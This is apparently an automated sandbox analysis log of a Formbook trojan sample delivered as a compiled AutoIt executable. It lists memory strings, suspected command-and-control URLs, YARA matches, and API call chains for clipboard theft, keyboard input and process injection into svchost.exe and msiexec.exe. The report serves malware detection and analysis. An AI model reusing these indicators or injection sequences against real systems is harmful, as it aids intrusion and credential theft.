Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: msiexec.exe, 00000004.00000002.4488021727.000000000267F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: msiexec.exe, 00000004.00000002.4488021727.000000000267F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: msiexec.exe, 00000004.00000002.4488021727.000000000267F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: msiexec.exe, 00000004.00000002.4488021727.000000000267F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: msiexec.exe, 00000004.00000002.4488021727.000000000267F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: msiexec.exe, 00000004.00000002.4488021727.000000000267F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: msiexec.exe, 00000004.00000003.2388663533.000000000739E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://pcnatrk.net/track.
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005B1A000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005F6A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.formytinyhome.com/lztc/?V6h=7O2Vi30c2oKUz/gZ0nmLwDIgwhZodI9AolnTqJiIqHlz4L2fxMx7xnfeqZW9
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000049D4000.00000004.80000000.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000051AE000.00000004.80000000.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000006162000.00000004.80000000.00040000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005E3E000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.00000000065B2000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.000000000628E000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004E24000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.00000000055FE000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2496207434.000000003BAE4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: msiexec.exe, 00000004.00000002.4490958561.00000000073BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com/domain/search-domains
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.0000000005664000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005AB4000.00000004.10000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4490874139.0000000007110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com/whois
Source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000057F6000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000005C46000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.smokesandhoney.com/ld3u/?V6h=7cSyNGFy/S5quoM6udyikngV4L2ptvlq1/kf9BPZtTlwCENfjvle2IZfxcv

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F9EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00F9EAFF

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F9ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00F9ED6A

Source: C:\Users\user\Desktop\0XLuA614VK.exe

0_2_00F9EAFF

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F8AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00F8AA57

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00FB9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00FB9576

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: 0XLuA614VK.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 0XLuA614VK.exe, 00000000.00000002.2047581108.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_390a26df-f
Source: 0XLuA614VK.exe, 00000000.00000002.2047581108.0000000000FE2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_20fb9ed2-4
Source: 0XLuA614VK.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d1805530-d
Source: 0XLuA614VK.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d35dd759-e

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042B5A3 NtClose,	2_2_0042B5A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672B60 NtClose,LdrInitializeThunk,	2_2_03672B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03672DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036735C0 NtCreateMutant,LdrInitializeThunk,	2_2_036735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03674340 NtSetContextThread,	2_2_03674340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03674650 NtSuspendThread,	2_2_03674650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672BE0 NtQueryValueKey,	2_2_03672BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672BF0 NtAllocateVirtualMemory,	2_2_03672BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672BA0 NtEnumerateValueKey,	2_2_03672BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672B80 NtQueryInformationFile,	2_2_03672B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672AF0 NtWriteFile,	2_2_03672AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672AD0 NtReadFile,	2_2_03672AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672AB0 NtWaitForSingleObject,	2_2_03672AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672F60 NtCreateProcessEx,	2_2_03672F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672F30 NtCreateSection,	2_2_03672F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672FE0 NtCreateFile,	2_2_03672FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672FA0 NtQuerySection,	2_2_03672FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672FB0 NtResumeThread,	2_2_03672FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672F90 NtProtectVirtualMemory,	2_2_03672F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672E30 NtWriteVirtualMemory,	2_2_03672E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672EE0 NtQueueApcThread,	2_2_03672EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672EA0 NtAdjustPrivilegesToken,	2_2_03672EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672E80 NtReadVirtualMemory,	2_2_03672E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672D30 NtUnmapViewOfSection,	2_2_03672D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672D00 NtSetInformationFile,	2_2_03672D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672D10 NtMapViewOfSection,	2_2_03672D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672DD0 NtDelayExecution,	2_2_03672DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672DB0 NtEnumerateKey,	2_2_03672DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672C60 NtCreateKey,	2_2_03672C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672C70 NtFreeVirtualMemory,	2_2_03672C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672C00 NtQueryInformationProcess,	2_2_03672C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672CF0 NtOpenProcess,	2_2_03672CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672CC0 NtQueryVirtualMemory,	2_2_03672CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03672CA0 NtQueryInformationToken,	2_2_03672CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03673010 NtOpenDirectoryObject,	2_2_03673010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03673090 NtSetValueKey,	2_2_03673090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036739B0 NtGetContextThread,	2_2_036739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03673D70 NtOpenThread,	2_2_03673D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03673D10 NtOpenProcessToken,	2_2_03673D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04484650 NtSuspendThread,LdrInitializeThunk,	4_2_04484650
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04484340 NtSetContextThread,LdrInitializeThunk,	4_2_04484340
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482C60 NtCreateKey,LdrInitializeThunk,	4_2_04482C60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_04482C70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482CA0 NtQueryInformationToken,LdrInitializeThunk,	4_2_04482CA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482D10 NtMapViewOfSection,LdrInitializeThunk,	4_2_04482D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482D30 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_04482D30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482DD0 NtDelayExecution,LdrInitializeThunk,	4_2_04482DD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_04482DF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482EE0 NtQueueApcThread,LdrInitializeThunk,	4_2_04482EE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482F30 NtCreateSection,LdrInitializeThunk,	4_2_04482F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482FE0 NtCreateFile,LdrInitializeThunk,	4_2_04482FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482FB0 NtResumeThread,LdrInitializeThunk,	4_2_04482FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482AD0 NtReadFile,LdrInitializeThunk,	4_2_04482AD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482AF0 NtWriteFile,LdrInitializeThunk,	4_2_04482AF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482B60 NtClose,LdrInitializeThunk,	4_2_04482B60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044835C0 NtCreateMutant,LdrInitializeThunk,	4_2_044835C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_044839B0 NtGetContextThread,LdrInitializeThunk,	4_2_044839B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482C00 NtQueryInformationProcess,	4_2_04482C00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482CC0 NtQueryVirtualMemory,	4_2_04482CC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482CF0 NtOpenProcess,	4_2_04482CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482D00 NtSetInformationFile,	4_2_04482D00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482DB0 NtEnumerateKey,	4_2_04482DB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482E30 NtWriteVirtualMemory,	4_2_04482E30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482E80 NtReadVirtualMemory,	4_2_04482E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482EA0 NtAdjustPrivilegesToken,	4_2_04482EA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482F60 NtCreateProcessEx,	4_2_04482F60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482F90 NtProtectVirtualMemory,	4_2_04482F90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482FA0 NtQuerySection,	4_2_04482FA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482AB0 NtWaitForSingleObject,	4_2_04482AB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482BE0 NtQueryValueKey,	4_2_04482BE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482BF0 NtAllocateVirtualMemory,	4_2_04482BF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482B80 NtQueryInformationFile,	4_2_04482B80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04482BA0 NtEnumerateValueKey,	4_2_04482BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04483010 NtOpenDirectoryObject,	4_2_04483010
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04483090 NtSetValueKey,	4_2_04483090
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04483D70 NtOpenThread,	4_2_04483D70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_04483D10 NtOpenProcessToken,	4_2_04483D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_00138060 NtDeleteFile,	4_2_00138060
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_001380F0 NtClose,	4_2_001380F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_00137E20 NtCreateFile,	4_2_00137E20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_00137F80 NtReadFile,	4_2_00137F80

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F8D5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00F8D5EB

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F81201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00F81201

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F8E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00F8E8F6

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F28060	0_2_00F28060
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F92046	0_2_00F92046
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F88298	0_2_00F88298
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F5E4FF	0_2_00F5E4FF
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F5676B	0_2_00F5676B
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00FB4873	0_2_00FB4873
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F2CAF0	0_2_00F2CAF0
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F4CAA0	0_2_00F4CAA0
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F3CC39	0_2_00F3CC39
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F56DD9	0_2_00F56DD9
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F291C0	0_2_00F291C0
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F3B119	0_2_00F3B119
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F41394	0_2_00F41394
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F41706	0_2_00F41706
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F4781B	0_2_00F4781B
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F419B0	0_2_00F419B0
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F3997D	0_2_00F3997D
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F27920	0_2_00F27920
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F47A4A	0_2_00F47A4A
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F47CA7	0_2_00F47CA7
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F41C77	0_2_00F41C77
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F59EEE	0_2_00F59EEE
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00FABE44	0_2_00FABE44
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F41F32	0_2_00F41F32
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_011635F0	0_2_011635F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041006A	2_2_0041006A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410073	2_2_00410073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401120	2_2_00401120
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042D9C3	2_2_0042D9C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004169E3	2_2_004169E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403210	2_2_00403210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410293	2_2_00410293
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E313	2_2_0040E313
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024B0	2_2_004024B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402770	2_2_00402770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036FA352	2_2_036FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0364E3F0	2_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037003E6	2_2_037003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036E0274	2_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C02C0	2_2_036C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036C8158	2_2_036C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03630100	2_2_03630100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036DA118	2_2_036DA118
